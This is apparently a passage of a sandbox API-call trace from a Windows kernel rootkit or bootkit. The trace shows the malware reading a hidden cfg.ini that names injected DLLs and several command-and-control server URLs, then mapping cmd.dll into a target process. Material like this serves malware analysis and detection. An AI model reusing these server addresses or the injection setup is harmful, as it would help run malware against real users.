[0093.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.159] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0093.159] IdePortDispatch () returned 0x103 [0093.159] KeWaitForMutexObject () returned 0x0 [0093.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.160] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0093.160] IdePortDispatch () returned 0x103 [0093.160] KeWaitForMutexObject () returned 0x0 [0093.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.160] KeLeaveCriticalRegion () [0093.160] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.160] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0093.160] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="runonce.exe=") returned 0x0 [0093.160] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0093.160] ExFreePoolWithTag (P=0xfffff8a000a85420, Tag=0x0) [0093.160] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0093.160] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.160] KeEnterCriticalRegion () [0093.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.160] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80018ab040 [0093.160] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003890a20, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0093.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.160] KeLeaveCriticalRegion () [0093.160] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.160] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.160] KeEnterCriticalRegion () [0093.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.160] ExFreePoolWithTag (P=0xfffffa8002a427d0, Tag=0x0) [0093.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.160] KeLeaveCriticalRegion () [0093.160] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.160] ZwClose (Handle=0xffffffff800004f4) returned 0x0 [0093.160] KeSetEvent (in: Event=0xfffffa8003891050, Increment=0x0, Wait=0 | out: Event=0xfffffa8003891050) returned 0 [0095.251] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\HTTP.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.907] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x50c, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004f0) returned 0x0 [0095.907] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0095.907] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0095.907] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.907] KeEnterCriticalRegion () [0095.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.907] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0095.907] IdePortDispatch () returned 0x103 [0095.907] KeWaitForMutexObject () returned 0x0 [0095.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0095.908] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0095.908] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0095.908] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0095.908] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0095.908] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038a67c0 [0095.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.908] KeLeaveCriticalRegion () [0095.908] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.908] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0095.908] NtLockFile (in: FileHandle=0xffffffff800004f8, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0095.908] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.908] KeEnterCriticalRegion () [0095.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.908] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800389fd60, Context=0x0) returned 0x0 [0095.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.908] KeLeaveCriticalRegion () [0095.908] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0095.908] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.908] KeEnterCriticalRegion () [0095.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.908] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0095.908] IdePortDispatch () returned 0x103 [0095.908] KeWaitForMutexObject () returned 0x0 [0095.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0095.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.908] KeLeaveCriticalRegion () [0095.908] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.908] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0015a67a0 [0095.909] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0095.909] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0095.909] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="*=") returned 2 [0095.909] _strlwr (in: _Str="*=" | out: _Str="*=") returned="*=" [0095.909] ZwReadFile (in: FileHandle=0xffffffff800004f8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015a67a0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015a67a0*) returned 0x0 [0095.909] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.909] KeEnterCriticalRegion () [0095.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.909] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c87a0 [0095.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003607090 [0095.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0095.909] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0095.909] IdePortDispatch () returned 0x103 [0095.909] KeWaitForMutexObject () returned 0x0 [0095.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0095.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003607090 [0095.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0095.909] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0095.909] IdePortDispatch () returned 0x103 [0095.909] KeWaitForMutexObject () returned 0x0 [0095.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.909] KeLeaveCriticalRegion () [0095.909] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.910] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0095.910] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="*=") returned="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n" [0095.910] strncpy (in: _Dest=0xfffffa80038a1604, _Source="cmd.dll", _Count=0x104 | out: _Dest="cmd.dll") returned="cmd.dll" [0095.910] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0095.910] ExFreePoolWithTag (P=0xfffff8a0015a67a0, Tag=0x0) [0095.910] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.910] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.910] KeEnterCriticalRegion () [0095.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.910] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0095.910] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038a9050, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0095.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.910] KeLeaveCriticalRegion () [0095.910] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.910] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0095.910] KeEnterCriticalRegion () [0095.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.910] ExFreePoolWithTag (P=0xfffffa80038a67c0, Tag=0x0) [0095.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.910] KeLeaveCriticalRegion () [0095.910] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.910] KeStackAttachProcess (in: PROCESS=0xfffffa800389eb30, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa800389eb30, ApcState=0xfffff88002f9da58) [0095.910] _snwprintf (in: _Dest=0xfffffa80038a13fc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd.dll") returned 33 [0095.910] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd.dll") [0095.910] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004f8, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0095.910] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0095.910] KeEnterCriticalRegion () [0095.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.910] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0095.910] IdePortDispatch () returned 0x103 [0095.911] KeWaitForMutexObject () returned 0x0 [0095.911] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0095.911] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0095.911] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.911] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.911] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.911] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0095.911] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0095.911] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0095.911] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0095.911] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003887b20 [0095.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.911] KeLeaveCriticalRegion () [0095.911] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.911] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004f8 | out: SectionHandle=0xfffff88002f9d9e0*=0x24) returned 0x0 [0095.911] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0095.911] KeEnterCriticalRegion () [0095.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.911] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0095.911] IdePortDispatch () returned 0x103 [0095.911] KeWaitForMutexObject () returned 0x0 [0095.911] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0095.911] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0095.911] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.911] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.912] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.912] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0095.912] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0095.912] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0095.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.912] KeLeaveCriticalRegion () [0095.912] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.912] ZwMapViewOfSection (in: SectionHandle=0x24, ProcessHandle=0xffffffff800004f0, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0xfffff88000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7efa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x9000) returned 0x0 [0095.912] RtlImageNtHeader (BaseAddress=0x7efa0000) returned 0x7efa00f8 [0095.912] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0095.912] KeEnterCriticalRegion () [0095.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c9000 [0095.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.912] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.912] IdePortDispatch () returned 0x103 [0095.912] KeWaitForMutexObject () returned 0x0 [0095.912] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0095.912] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0095.912] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.912] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.912] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.912] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0095.912] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0095.912] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0095.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.912] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.912] IdePortDispatch () returned 0x103 [0095.912] KeWaitForMutexObject () returned 0x0 [0095.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.913] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.913] IdePortDispatch () returned 0x103 [0095.913] KeWaitForMutexObject () returned 0x0 [0095.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.913] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.913] IdePortDispatch () returned 0x103 [0095.913] KeWaitForMutexObject () returned 0x0 [0095.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.913] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.913] IdePortDispatch () returned 0x103 [0095.913] KeWaitForMutexObject () returned 0x0 [0095.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 